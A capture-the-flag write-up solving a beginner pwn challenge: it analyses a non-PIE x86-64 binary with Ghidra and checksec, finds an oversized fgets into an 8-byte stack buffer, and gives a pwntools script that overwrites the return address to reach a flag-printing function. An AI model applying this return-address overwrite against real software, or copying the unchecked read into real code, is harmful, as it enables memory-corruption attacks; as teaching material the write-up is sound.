The challenge application is an ELF 64-bit binary, dynamically linked with symbols, not stripped, and without PIE support:
$ file rpz_gate_1
rpz_gate_1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=c1841eae896ef740117e323be7791a140d658837, for GNU/Linux 3.2.0, not stripped
In terms of security protections, stack is not executable, but stack canaries are not used, and no PIE:
gef➤ checksec
[+] checksec for '/mnt/hgfs/CTF-apr-23/pwn_gate1/challenge/rpz_gate_1'
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Full
The application looks very simple, with an interface printing some ASCII map and a request for user input (interesting!):
Show map? (y/n): y
===========================================
# 🦍 |---| #
# 🦖 | F | #
# 🦍 |---| #
# (You) 🦖 | I | #
> 🐼 🦍 |---| #
> 🦖 | N | #
> 🦍 |---| #
> (Friend) 🦖 | I | #
> 🐒 🦍 |---| #
# 🦖 | S | #
# 🦍 |---| #
# 🦖 | H | #
# 🦍 |---| #
===========================================
To win this challenge and earn the first key, you must finish the race!
It's that simple! If you know how to do it, let's race!
1. Race
2. Quit
>> 1
In the scoreboard you will be shown as a Panda.
Do you want to enter a custom nickname? (y/n): yyy
Good luck!
The decompiled code from Ghidra doesn’t show any obvious reference to the flag being accessed:
undefined8 main(void)
{
undefined8 local_18;
undefined8 local_10;
setup();
system("clear");
fwrite("Show map? (y/n): ",1,0x11,stdout);
local_18 = 0;
local_10 = 0;
fgets((char *)&local_18,3,stdin);
if (((char)local_18 == 'y') || ((char)local_18 == 'Y')) {
puts(&map);
}
else {
putchar(10);
}
fwrite("To win this challenge and earn the first key, you must finish the race!\nIt\'s that simple ! If you know how to do it, let\'s race!\n\n"
,1,0x81,stdout);
memset(&local_18,0,0x10);
fwrite("1. Race\n2. Quit\n\n>> ",1,0x14,stdout);
fgets((char *)&local_18,3,stdin);
if ((char)local_18 == '1') {
putchar(10);
fwrite("In the scoreboard you will be shown as a Panda.\n\nDo you want to enter a custom nicknam e? (y/n): "
,1,0x60,stdout);
memset(&local_18,0,0x10);
fgets((char *)&local_18,0x1e,stdin);
fwrite("\nGood luck!\n",1,0xc,stdout);
return 0;
}
puts("\nI guess you need to take a break first.. Goodbye!\n");
exit(0x16);
}
But if we check the strings from the application, the flag is read and displayed in a different function:
void goal(void)
{
size_t sVar1;
ssize_t sVar2;
char flagChar;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
int flagFd;
ulong local_10;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
local_10 = 0;
while( true ) {
sVar1 = strlen(&map);
if (sVar1 <= local_10) break;
if ((&map)[local_10] == '>') {
(&map)[local_10] = 0x20;
}
local_10 = local_10 + 1;
}
fputs(&map,stdout);
fwrite("You found the secret entrance!\n\nYou won the race!\n\nHere is your key: ",1,0x45,stdout);
flagFd = open("./flag.txt",0);
if (flagFd < 0) {
perror("Error opening flag.txt, please contact an Administrator.\n");
exit(1);
}
while( true ) {
sVar2 = read(flagFd, &flagChar, 1);
if (sVar2 < 1) break;
fputc((int)flagChar,stdout);
}
close(flagFd);
return;
}
So we need a way to get to the goal function!
Vulnerability
Although ASLR might be enabled on the target machine, the binary is compiled without support for position independent code, so the operating system won’t be able to relocate it anyways. When ASLR was introduced, it randomised placement of stack, heap, and shared libraries. The placement of non-PIE main executable code could not be randomised.
We can confirm that shared libraries would be randomised:
$ ldd rpz_gate_1
linux-vdso.so.1 (0x00007ffedaf50000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbb3e468000)
./glibc/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fbb3e661000)
$ ldd rpz_gate_1
linux-vdso.so.1 (0x00007ffc2cfee000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f091f31f000)
./glibc/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f091f518000)
The address of libc.so.6 is differend everytime we check. But the executable code is always palced at the same address, as we can confirm with GEF:
$ python pwn_gate_local.py
[*] '/mnt/hgfs/CTF-apr-23/pwn_gate1/rpz_gate_1'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
Exploitation
With this in mind, we can easily get the address of the goal
function:
0x00401316 -> goal
Since there are no stack canaries, and we have an obvious stack based buffer overflow towards the end of the program, we can use that to jump to the goal function. local_18
variable is stored on the stack and can hold 8 bytes but 0x1e
are actually being read:
fgets((char *)&local_18,0x1e,stdin);
The full Python local exploitation script based on pwntools below:
import struct
from pwn import *
bin_path = '/mnt/hgfs/CTF-apr-23/pwn_gate1/challenge/rpz_gate_1'
e = ELF(bin_path)
print("[*] %#x -> main" % e.symbols['main'])
print("[*] %#x -> goal" % e.symbols['goal'])
# Print map
io = process(bin_path)
#print(io.recvrepeat(2))
# Instructions
io.send(b'n\n')
#print(io.recvrepeat(2))
# Custom nickname prompt
io.send(b'1\n')
#print(io.recvrepeat(2))
buf = b''
buf += b'\x90'*24
buf += struct.pack('<Q', e.symbols['goal'])
io.send(buf)
recv_buf = io.recvrepeat(2).decode("utf-8").strip()
flag = recv_buf.split('\n')[-1]
print(flag)
As expected, we can jump into the goal
function by overwriting the return address from the main
function:
$ python ../pwn_gate_local.py
[*] '/mnt/hgfs/CTF-apr-23/pwn_gate1/challenge/rpz_gate_1'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
[*] 0x401494 -> main
[*] 0x401316 -> goal
[+] Starting local process '/mnt/hgfs/CTF-apr-23/pwn_gate1/challenge/rpz_gate_1': pid 3811948
Here is your key: HTB{f4k3_fl4g_4_t35t1ng}